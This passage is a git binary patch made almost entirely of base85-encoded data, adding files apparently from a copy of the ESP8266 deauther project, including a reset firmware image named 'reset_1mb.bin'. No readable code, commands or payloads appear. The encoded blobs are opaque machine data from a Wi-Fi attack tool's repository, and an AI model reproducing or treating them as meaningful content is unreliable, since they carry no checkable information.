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 PxHn>NO{bE1%GdrE+!t&> literal 0 HcmV?d00001 diff --git a/enp8266/esp8266_deauther-master/Reset_Sketch/reset_1mb.bin b/enp8266/esp8266_deauther-master/Reset_Sketch/reset_1mb.bin new file mode 100755 index 0000000000000000000000000000000000000000..bede2bbf93b4b62fefb7c889481dc61055885285 GIT binary patch literal 238144 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 